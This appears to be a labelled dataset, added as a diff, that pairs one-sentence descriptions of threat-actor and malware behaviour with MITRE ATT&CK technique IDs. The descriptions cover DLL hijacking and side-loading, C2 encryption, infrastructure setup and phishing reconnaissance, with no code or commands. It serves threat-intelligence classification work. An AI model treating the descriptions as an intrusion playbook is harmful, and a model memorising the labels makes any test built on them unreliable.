+Sykipot uses SSL for encrypting C2 communications.	['T1573.002']
+TinyTurla has the ability to encrypt C2 traffic with SSL/TLS.	['T1573.002']
+Trojan.Karagany can secure C2 communications with SSL and TLS.	['T1573.002']
+Tropic Trooper has used SSL to connect to C2 servers.	['T1573.002']
+WannaCry uses Tor for command and control traffic and routes a custom cryptographic protocol over the Tor circuit.	['T1573.002']
+WellMail can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.	['T1573.002']
+WellMess can communicate to C2 with mutual TLS where client and server mutually check certificates.	['T1573.002']
+XTunnel uses SSL/TLS and RC4 to encrypt traffic.	['T1573.002']
+Zebrocy uses SSL and AES ECB for encrypting C2 communications.	['T1573.002']
+adbupd contains a copy of the OpenSSL library to encrypt C2 traffic.	['T1573.002']
+ShimRat can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls.	['T1574']
+A FinFisher variant uses DLL search order hijacking.	['T1574.001']
+APT41 has used search order hijacking to execute malicious payloads, such as Winnti RAT.	['T1574.001']
+Crutch can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive.	['T1574.001']
+Downdelph uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.	['T1574.001']
+Empire contains modules that can discover and exploit various DLL hijacking opportunities.	['T1574.001']
+FoggyWeb's loader has used DLL Search Order Hijacking to load malicious code instead of the legitimate `version.dll` during the `Microsoft.IdentityServer.ServiceHost.exe` execution process.	['T1574.001']
+"Hikit has used DLL Search Order Hijacking to load ""oci.dll"" as a persistence mechanism."	['T1574.001']
+InvisiMole can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.	['T1574.001']
+Melcoz can use DLL hijacking to bypass security controls.	['T1574.001']
+MirageFox is likely loaded via DLL hijacking into a legitimate McAfee binary.	['T1574.001']
+PlugX has the ability to use DLL search order hijacking for installation on targeted systems.	['T1574.001']
+PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.	['T1574.001']
+RTM has used search order hijacking to force TeamViewer to load a malicious DLL.	['T1574.001']
+RedLeaves is launched through use of DLL search order hijacking to load a malicious dll.	['T1574.001']
+Threat Group-3390 has performed DLL search order hijacking to execute their payload.	['T1574.001']
+"Variants of WEBC2 achieve persistence by using DLL search order hijacking, usually by copying the DLL file to ""%SYSTEMROOT%"" (""C:\WINDOWS\ntshrui.dll"")."	['T1574.001']
+WastedLocker has performed DLL hijacking before execution.	['T1574.001']
+Whitefly has used search order hijacking to run the loader Vcrodat.	['T1574.001']
+A Patchwork .dll that contains BADNEWS is loaded and executed using DLL side-loading.	['T1574.002']
+A gh0st RAT variant has used DLL side-loading.	['T1574.002']
+APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.	['T1574.002']
+APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools.	['T1574.002']
+APT32 ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).	['T1574.002']
+APT41 used legitimate executables to perform DLL side-loading of their malware.	['T1574.002']
+BADNEWS typically loads its DLL file into a legitimate signed Java or VMware executable.	['T1574.002']
+BRONZE BUTLER has used legitimate applications to side-load malicious DLLs.	['T1574.002']
+BlackTech has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.	['T1574.002']
+Clambling can store a file named `mpsvc.dll`, which opens a malicious `mpsvc.mui` file, in the same folder as the legitimate Microsoft executable `MsMpEng.exe` to gain execution.	['T1574.002']
+Denis exploits a security vulnerability to load a fake DLL and execute its code.	['T1574.002']
+During Operation CuckooBees, the threat actors used the legitimate Windows services `IKEEXT` and `PrintNotify` to side-load malicious DLLs.	['T1574.002']
+During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.	['T1574.002']
+Earth Lusca has placed a malicious payload in `%WINDIR%\SYSTEM32\oci.dll` so it would be sideloaded by the MSDTC service.	['T1574.002']
+Ecipekac can abuse the legitimate application policytool.exe to load a malicious DLL.	['T1574.002']
+Egregor has used DLL side-loading to execute its payload.	['T1574.002']
+FinFisher uses DLL side-loading to load malicious programs.	['T1574.002']
+Goopy has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google.	['T1574.002']
+HTTPBrowser has used DLL side-loading.	['T1574.002']
+"Higaisa’s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the ""OINFO12.OCX"" dynamic link library."	['T1574.002']
+HyperBro has used a legitimate application to sideload a DLL to decrypt, decompress, and run a payload.	['T1574.002']
+Javali can use DLL side-loading to load malicious DLLs into legitimate executables.	['T1574.002']
+Kerrdown can use DLL side-loading to load malicious DLLs.	['T1574.002']
+"LookBack side loads its communications module as a DLL into the ""libcurl.dll"" loader."	['T1574.002']
+Metamorfo has side-loaded its malicious DLL file.	['T1574.002']
+MuddyWater maintains persistence on victim networks through side-loading dlls to trick legitimate programs into running malware.	['T1574.002']
+Mustang Panda has used a legitimately signed executable to execute a malicious payload within a DLL file.	['T1574.002']
+Nebulae can use DLL side-loading to gain execution.	['T1574.002']
+Pandora can use DLL side-loading to execute malicious payloads.	['T1574.002']
+PowGoop can side-load `Goopdate.dll` into `GoogleUpdate.exe`.	['T1574.002']
+RCSession can be installed via DLL side-loading.	['T1574.002']
+RainyDay can use side-loading to run malicious executables.	['T1574.002']
+Sakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.	['T1574.002']
+SideCopy has used a malicious loader DLL file to execute the `credwiz.exe` process and side-load the malicious payload `Duser.dll`.	['T1574.002']
+Sidewinder has used DLL side-loading to drop and execute malicious payloads including the hijacking of the legitimate Windows application file rekeywiz.exe.	['T1574.002']
+SysUpdate can load DLLs through vulnerable legitimate executables.	['T1574.002']
+Threat Group-3390 has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code.	['T1574.002']
+Tropic Trooper has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.	['T1574.002']
+Waterbear has used DLL side loading to import and load a malicious DLL loader.	['T1574.002']
+Wingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.	['T1574.002']
+ZeroT has used DLL side-loading to load malicious payloads.	['T1574.002']
+menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as UPPERCUT.	['T1574.002']
+APT41 has configured payloads to load via LD_PRELOAD.	['T1574.006']
+"XCSSET adds malicious file paths to the ""DYLD_FRAMEWORK_PATH"" and ""DYLD_LIBRARY_PATH"" environment variables to execute malicious code."	['T1574.006']
+Empire contains modules that can discover and exploit search order hijacking vulnerabilities.	['T1574.008']
+Empire contains modules that can discover and exploit unquoted path vulnerabilities.	['T1574.009']
+One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.	['T1574.010']
+"Lazarus Group has abused the ""KernelCallbackTable"" to hijack process control flow and execute shellcode."	['T1574.013']
+LAPSUS$ has created new virtual machines within the target's cloud environment after leveraging credential access to cloud assets.	['T1578.002']
+LAPSUS$ has deleted the target's systems and resources in the cloud to trigger the organization's incident and crisis response process.	['T1578.003']
+APT1 has registered hundreds of domains for use in operations.	['T1583.001']
+APT28 registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations.	['T1583.001']
+APT29 has acquired C2 domains, sometimes through resellers.	['T1583.001']
+APT32 has set up and operated websites to gather information and deliver malware.	['T1583.001']
+Dragonfly has registered domains for targeting intended victims.	['T1583.001']
+Earth Lusca has registered domains, intended to look like legitimate target domains, that have been used in watering hole attacks.	['T1583.001']
+FIN7 has registered look-alike domains for use in phishing campaigns.	['T1583.001']
+Ferocious Kitten has acquired domains imitating legitimate sites.	['T1583.001']
+For CostaRicto, the threat actors established domains, some of which appeared to spoof legitimate domains.	['T1583.001']
+For Operation Dust Storm, the threat actors established domains as part of their operational infrastructure.	['T1583.001']
+For Operation Spalax, the threat actors registered hundreds of domains using Duck DNS and DNS Exit.	['T1583.001']
+Gamaredon Group has registered multiple domains to facilitate payload staging and C2.	['T1583.001']
+HEXANE has registered and operated domains for campaigns, often using a security or web technology theme or impersonating the targeted organization.	['T1583.001']
+IndigoZebra has established domains, some of which were designed to look like official government domains, for their operations.	['T1583.001']
+Lazarus Group has acquired domains related to their campaigns to act as distribution points and C2 channels.	['T1583.001']
+Leviathan has established domains that impersonate legitimate entities to use for targeting efforts.	['T1583.001']
+"Magic Hound has registered fraudulent domains such as ""mail-newyorker.com"" and ""news12.com.recover-session-service.site"" to target specific victims with phishing attacks."	['T1583.001']
+Mustang Panda have acquired C2 domains prior to operations.	['T1583.001']
+Silent Librarian has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.	['T1583.001']
+TA505 has registered domains to impersonate services such as Dropbox to distribute malware.	['T1583.001']
+TeamTNT has obtained domains to host their payloads.	['T1583.001']
+UNC2452 has acquired C2 domains through resellers.	['T1583.001']
+menuPass has registered malicious domains for use in intrusion campaigns.	['T1583.001']
+Axiom has acquired dynamic DNS services for use in the targeting of intended victims.	['T1583.002']
+HEXANE has set up custom DNS servers to send commands to compromised hosts via TXT records.	['T1583.002']
+Axiom has used VPS hosting providers in targeting of intended victims.	['T1583.003']
+Dragonfly has acquired VPS infrastructure for use in malicious campaigns.	['T1583.003']
+HAFNIUM has operated from leased virtual private servers (VPS) in the United States.	['T1583.003']
+Earth Lusca has acquired multiple servers for some of their operations, using each server for a different role.	['T1583.004']
+For Operation Honeybee, at least one identified persona was used to register for a free account for a control server.	['T1583.004']
+Lazarus Group has acquired servers to host their malicious tools.	['T1583.004']
+Sandworm Team has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations.	['T1583.004']
+APT17 has created profile pages in Microsoft TechNet that were used as C2 infrastructure.	['T1583.006']
+APT28 has used newly-created Blogspot pages for credential harvesting operations.	['T1583.006']
+APT29 has registered algorithmically generated Twitter handles that are used for C2 by malware, such as HAMMERTOSS.	['T1583.006']
+Earth Lusca has established GitHub accounts to host their malware.	['T1583.006']
+For Operation Sharpshooter, the threat actors used Dropbox to host lure documents and their first-stage downloader.	['T1583.006']
+HAFNIUM has acquired web services for use in C2 and exfiltration.	['T1583.006']
+IndigoZebra created Dropbox accounts for their operations.	['T1583.006']
+LazyScripter has established GitHub accounts to host its toolsets.	['T1583.006']
+Magic Hound has acquired Amazon S3 buckets to use in C2.	['T1583.006']
+POLONIUM has created and used legitimate Microsoft OneDrive accounts for their operations.	['T1583.006']
+Turla has created web accounts including Dropbox and GitHub for C2 and document exfiltration.	['T1583.006']
+ZIRCONIUM has used GitHub to host malware linked in spearphishing e-mails.	['T1583.006']
+APT1 hijacked FQDNs associated with legitimate websites hosted by hop points.	['T1584.001']
+APT29 has compromised domains to use for C2.	['T1584.001']
+Kimsuky has compromised legitimate sites and used them to distribute malware.	['T1584.001']
+Lazarus Group has compromised legitimate domains, including those hosted in the US and Italy, for C2.	['T1584.001']
+Magic Hound has used compromised domains to host links targeted to specific phishing victims.	['T1584.001']
+SideCopy has compromised domains for some of their infrastructure, including for C2 and staging malware.	['T1584.001']
+Transparent Tribe has compromised domains for use in targeted malicious campaigns.	['T1584.001']
+UNC2452 has compromised domains to use for C2.	['T1584.001']
+APT16 has compromised otherwise legitimate sites as staging servers for second-stage payloads.	['T1584.004']
+Dragonfly has compromised legitimate websites to host C2 and malware modules.	['T1584.004']
+During Night Dragon, threat actors compromised web servers to use for C2.	['T1584.004']
+Earth Lusca has used compromised web servers as part of their operational infrastructure.	['T1584.004']
+Indrik Spider has served fake updates via legitimate websites that have been compromised.	['T1584.004']
+Turla has used compromised servers as infrastructure.	['T1584.004']
+Sandworm Team has used a large-scale botnet to target Small Office/Home Office (SOHO) network devices.	['T1584.005']
+Turla has frequently used compromised WordPress sites for C2 infrastructure.	['T1584.006']
+APT32 has set up Facebook pages in tandem with fake websites.	['T1585.001']
+Fox Kitten has used a Twitter account to communicate with ransomware victims.	['T1585.001']
+HEXANE has established fraudulent LinkedIn accounts impersonating HR department employees to target potential victims with fake job offers.	['T1585.001']
+Kimsuky has created social media accounts to monitor news and security trends as well as potential targets.	['T1585.001']
+Lazarus Group has created new LinkedIn and Twitter accounts to conduct social engineering against potential victims.	['T1585.001']
+APT1 has created email accounts for later use in social engineering, phishing, and when registering domains.	['T1585.002']
+EXOTIC LILY has created e-mail accounts to spoof targeted organizations.	['T1585.002']
+For FunnyDream, the threat actors likely established an identified email account to register a variety of domains that were used during the campaign.	['T1585.002']
+HEXANE has established email accounts for use in domain registration including for ProtonMail addresses.	['T1585.002']
+Kimsuky has created email accounts for phishing operations.	['T1585.002']
+Leviathan has created new email accounts for targeting efforts.	['T1585.002']
+Magic Hound has established email accounts using fake personas for spearphishing operations.	['T1585.002']
+Mustang Panda has leveraged the legitimate email marketing service SMTP2Go for phishing campaigns.	['T1585.002']
+Sandworm Team has created email accounts that mimic legitimate organizations for its spearphishing operations.	['T1585.002']
+Leviathan has compromised social media accounts to conduct social engineering attacks.	['T1586.001']
+APT28 has used compromised email accounts to send credential phishing emails.	['T1586.002']
+HEXANE has used compromised accounts to send spearphishing emails.	['T1586.002']
+IndigoZebra has compromised legitimate email accounts to use in their spearphishing operations.	['T1586.002']
+Kimsuky has compromised email accounts to send spearphishing e-mails.	['T1586.002']
+Leviathan has compromised email accounts to conduct social engineering attacks.	['T1586.002']
+Kimsuky created and used a mailing toolkit to use in spearphishing attacks.	['T1587']
+APT29 has leveraged numerous pieces of malware that appear to be unique to APT29 and were likely developed for or by the group.	['T1587.001']
+Aoqin Dragon has used custom malware, including Mongall and Heyoka Backdoor, in their operations.	['T1587.001']
+Cleaver has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.	['T1587.001']
+During Operation Wocao, threat actors developed their own custom webshells to upload to compromised servers.	['T1587.001']
+FIN7 has developed malware for use in operations, including the creation of infected removable media.	['T1587.001']
+For CostaRicto, the threat actors used custom malware, including PS1, CostaBricks, and SombRAT.	['T1587.001']
+For Operation Sharpshooter, the threat actors used the Rising Sun modular backdoor.	['T1587.001']
+Ke3chang has developed custom malware that allowed them to maintain persistence on victim networks.	['T1587.001']
+Moses Staff has built malware, such as DCSrv and PyDCrypt, for targeting victims' machines.	['T1587.001']
+Night Dragon used privately developed and customized remote access tools.	['T1587.001']
+Sandworm Team has developed malware for its operations, including malicious mobile applications and destructive malware such as NotPetya and Olympic Destroyer.	['T1587.001']
+TeamTNT has developed custom malware such as Hildegard.	['T1587.001']
+Turla has developed its own unique malware for use in operations.	['T1587.001']
+UNC2452 developed SUNSPOT, SUNBURST, TEARDROP, and Raindrop; SUNSPOT and SUNBURST were tailored to be incorporated into SolarWind's Orion software library.	['T1587.001']
+PROMETHIUM has created self-signed certificates to sign malicious installers.	['T1587.002']
+Patchwork has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.	['T1587.002']
+APT29 has created self-signed digital certificates to enable mutual TLS authentication for malware.	['T1587.003']
+For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered.	['T1587.003']
+PROMETHIUM has created self-signed digital certificates for use in HTTPS C2 traffic.	['T1587.003']
+APT1 used publicly available malware for privilege escalation.	['T1588.001']
+During Night Dragon, threat actors used Trojans from underground hacker websites.	['T1588.001']
+For C0015, the threat actors used Cobalt Strike and Conti ransomware.	['T1588.001']
+For FunnyDream, the threat actors used a new backdoor named FunnyDream.	['T1588.001']
+For Operation Spalax, the threat actors obtained malware, including Remcos, njRAT, and AsyncRAT.	['T1588.001']
+LAPSUS$ acquired and used the Redline password stealer in their operations.	['T1588.001']
+LazyScripter has used a variety of open-source remote access Trojans for its operations.	['T1588.001']
+TA505 has used malware such as Azorult and Cobalt Strike in their operations.	['T1588.001']
+Turla has used malware obtained after compromising other threat actors, such as OilRig.	['T1588.001']
+APT-C-36 obtained and used a modified variant of Imminent Monitor.	['T1588.002']
+APT1 has used various open-source tools for privilege escalation purposes.	['T1588.002']
+APT19 has obtained and used publicly-available tools like Empire.	['T1588.002']
+APT28 has obtained and used open-source tools like Koadic, Mimikatz, and Responder.	['T1588.002']
+APT29 has obtained and used a variety of tools including Mimikatz, SDelete, Tor, meek, and Cobalt Strike.	['T1588.002']
+APT32 has obtained and used tools such as Mimikatz and Cobalt Strike, and a variety of other open-source tools from GitHub.	['T1588.002']
+APT33 has obtained and leveraged publicly-available tools for early intrusion activities.	['T1588.002']
+APT38 has obtained and used open-source tools such as Mimikatz.	['T1588.002']
+Aoqin Dragon obtained the Heyoka open source exfiltration tool and subsequently modified it for their operations.	['T1588.002']
+BITTER has obtained tools such as PuTTY for use in their operations.	['T1588.002']
+BRONZE BUTLER has obtained and used open-source tools such as Mimikatz, gsecdump, and Windows Credential Editor.	['T1588.002']
+BackdoorDiplomacy has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.	['T1588.002']
+BlackTech has obtained and used tools such as Putty, SNScan, and PsExec for its operations.	['T1588.002']
+Carbanak has obtained and used open-source tools such as PsExec and Mimikatz.	['T1588.002']
+Cobalt Group has obtained and used a variety of tools including Mimikatz, PsExec, Cobalt Strike, and SDelete.	['T1588.002']
+CopyKittens has used Metasploit, Empire, and AirVPN for post-exploitation activities.	['T1588.002']
+CostaRicto has obtained open source tools to use in their operations.	['T1588.002']
+DarkHydrus has obtained and used tools such as Mimikatz, Empire, and Cobalt Strike.	['T1588.002']
+Dragonfly has obtained and used tools such as Mimikatz, CrackMapExec, and PsExec.	['T1588.002']
+During CostaRicto, the threat actors obtained open source tools to use in their operations.	['T1588.002']
+Earth Lusca has acquired and used a variety of open source tools.	['T1588.002']
+Ember Bear has obtained and used open source scripts from GitHub.	['T1588.002']
+FIN10 has relied on publicly-available software to gain footholds and establish persistence in victim environments.	['T1588.002']
+FIN5 has obtained and used a customized version of PsExec, as well as use other tools such as pwdump, SDelete, and Windows Credential Editor.	['T1588.002']
+FIN6 has obtained and used tools such as Mimikatz, Cobalt Strike, and AdFind.	['T1588.002']
+Ferocious Kitten has obtained open source tools for its operations, including JsonCPP and Psiphon.	['T1588.002']
+For C0015, the threat actors obtained a variety of tools, including AdFind,  AnyDesk, and Process Hacker.	['T1588.002']
+For Frankenstein, the threat actors obtained and used Empire.	['T1588.002']
+For FunnyDream, the threat actors used a modified version of the open source PcShare remote administration tool.	['T1588.002']
+For Operation Spalax, the threat actors obtained packers such as CyaX.	['T1588.002']
+For Operation Wocao, the threat actors obtained a variety of open source tools, including JexBoss, KeeThief, and BloodHound.	['T1588.002']
+Frankenstein has obtained and used Empire to deploy agents.	['T1588.002']
+GALLIUM has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.	['T1588.002']
+Gorgon Group has obtained and used tools such as QuasarRAT and Remcos.	['T1588.002']
+Kimsuky has obtained and used tools such as Nirsoft WebBrowserPassVIew, Mimikatz, and PsExec.	['T1588.002']
+LAPSUS$ has obtained tools such as AD Explorer inspection software for their operations.	['T1588.002']
+Leafminer has obtained and used tools such as LaZagne, Mimikatz, PsExec, and MailSniper.	['T1588.002']
+Moses Staff has used the commercial tool DiskCryptor.	['T1588.002']
+MuddyWater has made use of legitimate tools ConnectWise and Remote Utilities to gain access to target environment.	['T1588.002']
+Night Dragon has obtained and used tools such as gsecdump.	['T1588.002']
+POLONIUM has obtained and used tools such as AirVPN and plink in their operations.	['T1588.002']
+PittyTiger has obtained and used tools such as Mimikatz and gsecdump.	['T1588.002']
+Sandworm Team has acquired open-source tools for some of it's operations; for example it acquired Invoke-PSImage to establish an encrypted channel from a compromised host to Sandworm Team's C2 server as part of its preparation for the 2018 Winter Olympics attack.	['T1588.002']
+Silent Librarian has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.	['T1588.002']
+TA505 has used a variety of tools in their operations, including AdFind, BloodHound, Mimikatz, and PowerSploit.	['T1588.002']
+TEMP.Veles has obtained and used tools such as Mimikatz and PsExec.	['T1588.002']
+Threat Group-3390 has obtained and used tools such as Impacket, pwdump, Mimikatz, gsecdump, NBTscan, and Windows Credential Editor.	['T1588.002']
+Turla has obtained and customized publicly-available tools like Mimikatz.	['T1588.002']
+WIRTE has obtained and used Empire for post-exploitation activities.	['T1588.002']
+Whitefly has obtained and used tools such as Mimikatz.	['T1588.002']
+Wizard Spider has obtained and used publicly-available post-exploitation frameworks and tools like Metasploit, Empire, Mimikatz.	['T1588.002']
+menuPass has used and modified open-source tools like Impacket, Mimikatz, and pwdump.	['T1588.002']
+Ember Bear has stolen legitimate certificates to sign malicious payloads.	['T1588.003']
+Lazarus Group has used code signing certificates issued by Sectigo RSA for some of its malware and tools.	['T1588.003']
+MegaCortex has used code signing certificates issued to fake companies to bypass security controls.	['T1588.003']
+Wizard Spider obtained a code signing certificate signed by Digicert for some of its malware.	['T1588.003']
+BlackTech has used valid, stolen digital certificates for some of their malware and tools.	['T1588.004']
+Kimsuky has obtained exploit code for various CVEs.	['T1588.005']
+In 2017, Sandworm Team conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.	['T1588.006']
+APT32 has conducted targeted surveillance against activists and bloggers.	['T1589']
+HEXANE has identified specific potential victims at targeted organizations.	['T1589']
+LAPSUS$ has gathered detailed information of target employees to enhance their social engineering lures.	['T1589']
+APT28 has harvested user's login credentials.	['T1589.001']
+APT29 has conducted credential theft operations to obtain credentials to be used for access to victim environments.	['T1589.001']
+Chimera has collected credentials for the target organization from previous breaches for use in brute force attacks.	['T1589.001']
+LAPSUS$ has gathered user identities and credentials to gain initial access to a victim's organization; the group has also called an organization's help desk to reset a target's credentials.	['T1589.001']
+Magic Hound gathered credentials from two victims that they then attempted to validate across 75 different websites.	['T1589.001']
+AADInternals can check for the existence of user email addresses using public Microsoft APIs.	['T1589.002']
+APT32 has collected e-mail addresses for activists and bloggers in order to target them with spyware.	['T1589.002']
+EXOTIC LILY has gathered targeted individuals' e-mail addresses through open source research and website contact forms.	['T1589.002']
+HEXANE has targeted executives, human resources staff, and IT personnel for spearphishing.	['T1589.002']
+Kimsuky has collected valid email addresses that were subsequently used in spearphishing campaigns.	['T1589.002']
+Lazarus Group collected email addresses belonging to various departments of a targeted organization which were used in follow-on phishing campaigns.	['T1589.002']
+Sandworm Team has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.	['T1589.002']
+Silent Librarian has collected e-mail addresses from targeted organizations from open Internet searches.	['T1589.002']
+Sandworm Team's research of potential victim organizations included the identification and collection of employee information.	['T1589.003']
+Silent Librarian has collected lists of names for individuals from targeted organizations.	['T1589.003']
+AADInternals can gather information about a tenant’s domains using public Microsoft APIs.	['T1590.001']
+Sandworm Team conducted technical reconnaissance of the Parliament of Georgia's official internet domain prior to its 2019 attack.	['T1590.001']
+Andariel has limited its watering hole attacks to specific IP address ranges.	['T1590.005']
+Lazarus Group has studied publicly available information about a targeted organization to tailor spearphishing efforts against specific departments and/or individuals.	['T1591']
+Dragonfly has collected open source information to identify relationships between organizations for targeting purposes.	['T1591.002']
+LAPSUS$ has gathered detailed knowledge of an organization's supply chain relationships.	['T1591.002']
+HEXANE has identified executives, HR, and IT staff at victim organizations for further targeting.	['T1591.004']
+LAPSUS$ has gathered detailed knowledge of team structures within a target organization.	['T1591.004']
+Lazarus Group has targeted specific individuals within an organization with tailored job vacancy announcements.	['T1591.004']
+Andariel has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.	['T1592.002']
+Sandworm Team has researched software code to enable supply-chain operations, most notably for the 2017 NotPetya attack. Sandworm Team also collected a list of computers using specific software as part of its targeting efforts.	['T1592.002']
+HAFNIUM has interacted with Office 365 tenants to gather details regarding target's environments.	['T1592.004']
+EXOTIC LILY has copied data from social media sites to impersonate targeted individuals.	['T1593.001']
+Kimsuky has used Twitter to monitor potential victims and to prepare targeted phishing e-mails.	['T1593.001']
+Lazarus Group has used LinkedIn to identify and target specific employees within a chosen organization.	['T1593.001']
+Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims.	['T1593.002']
+LAPSUS$ has searched public code repositories for exposed credentials.	['T1593.003']
+EXOTIC LILY has used contact forms on victim websites to generate phishing e-mails.	['T1594']
+Kimsuky has searched for information on the target company's website.	['T1594']
+Sandworm Team has conducted research against potential victim websites as part of its operational planning.	['T1594']
+TeamTNT has scanned specific lists of target IP addresses.	['T1595.001']
+APT28 has performed large-scale scans in an attempt to find vulnerable servers.	['T1595.002']
+APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit.	['T1595.002']
+Earth Lusca has scanned for vulnerabilities in the public-facing servers of their targets.	['T1595.002']
+Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021-44228).	['T1595.002']
+Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning.	['T1595.002']
+TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API.	['T1595.002']
+Volatile Cedar has used DirBuster and GoBuster to brute force web directories and DNS subdomains.	['T1595.003']
+EXOTIC LILY has searched for information on targeted individuals on business databases including RocketReach and CrunchBase.	['T1597']
+LAPSUS$ has purchased credentials and session tokens from criminal underground forums.	['T1597.002']
+APT28 has used spearphishing to compromise credentials.	['T1598']
+ZIRCONIUM targeted presidential campaign staffers with credential phishing e-mails.	['T1598']
+Astaroth has been delivered via malicious e-mail attachments.	['T1598.002']
+Dragonfly has used spearphishing with Microsoft Office attachments to enable harvesting of user credentials.	['T1598.002']
+Sidewinder has sent e-mails with malicious attachments that lead victims to credential harvesting websites.	['T1598.002']
+AADInternals can send phishing emails containing malicious links designed to collect users’ credentials.	['T1598.003']
+APT28 has conducted credential phishing campaigns with embedded links to attacker-controlled domains.	['T1598.003']
+APT32 has used malicious links to direct users to web pages designed to harvest credentials.	['T1598.003']
+Dragonfly has used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.	['T1598.003']
+Kimsuky has used links in e-mail to steal account information.	['T1598.003']
+Magic Hound has used SMS and email messages with links designed to steal credentials.	['T1598.003']
+SMOKEDHAM has been delivered via malicious links in phishing emails.	['T1598.003']
+Sandworm Team has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials.	['T1598.003']
+Sidewinder has sent e-mails with malicious links to credential harvesting websites.	['T1598.003']
+Silent Librarian has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.	['T1598.003']
+SYNful Knock is malware that is inserted into a network device by patching the operating system image.	['T1601.001']
+APT29 has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.	['T1606.001']
+AADInternals can be used to create SAML tokens using the AD Federated Services token signing certificate.	['T1606.002']
+APT29 created tokens using compromised SAML signing certificates.	['T1606.002']
+UNC2452 created tokens using compromised SAML signing certificates.	['T1606.002']
+Mustang Panda has used servers under their control to validate tracking pixels sent to phishing victims.	['T1608']
+APT32 has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.	['T1608.001']
+BITTER has registered domains to stage payloads.	['T1608.001']
+During Night Dragon, threat actors uploaded commonly available hacker tools to compromised web servers.	['T1608.001']
+EXOTIC LILY  has uploaded malicious payloads to file-sharing services including TransferNow, TransferXL, WeTransfer, and OneDrive.	['T1608.001']
+Earth Lusca has staged malware and malicious files on compromised web servers, GitHub, and Google Drive.	['T1608.001']
+For C0011, Transparent Tribe hosted malicious documents on domains registered by the group.	['T1608.001']
+For Operation Sharpshooter, the threat actors staged malicious files on Dropbox and other websites.	['T1608.001']
+For Operation Spalax, the threat actors staged malware and malicious files in legitimate hosting services such as OneDrive or MediaFire.	['T1608.001']
+Gamaredon Group has registered domains to stage payloads.	['T1608.001']
+HEXANE has staged malware on fraudulent websites set up to impersonate targeted organizations.	['T1608.001']
+Kimsuky has used Blogspot to host malicious content such as beacons, file exfiltrators, and implants.	['T1608.001']
+Lazarus Group has hosted malicious files on compromised as well as Lazarus Group-controlled servers.	['T1608.001']
+LazyScripter has hosted open-source remote access Trojans used in its operations in GitHub.	['T1608.001']
+SideCopy has used compromised domains to host its malicious payloads.	['T1608.001']
+TA505 has staged malware on actor-controlled domains.	['T1608.001']
+TeamTNT has uploaded backdoored Docker images to Docker Hub.	['T1608.001']
+Threat Group-3390 has hosted malicious payloads on Dropbox.	['T1608.001']
+For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system.	['T1608.002']
+Lazarus Group has hosted custom and open-source tools on compromised as well as Lazarus Group-controlled servers.	['T1608.002']
+Threat Group-3390 has staged tools, including gsecdump and WCE, on previously compromised websites.	['T1608.002']
+Dragonfly has compromised websites to redirect traffic and to host exploit kits.	['T1608.004']
+For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.	['T1608.004']
+Threat Group-3390 has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.	['T1608.004']
+Transparent Tribe has set up websites with malicious hyperlinks and iframes to infect targeted victims with Crimson, njRAT, and other malicious tools.	['T1608.004']
+Silent Librarian has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. Silent Librarian has also made use of a variety of URL shorteners for these staged websites.	['T1608.005']
+Hildegard was executed through the kubelet API run command and by executing commands on running containers.	['T1609']
+Kinsing was executed with an Ubuntu container entry point that runs shell scripts.	['T1609']
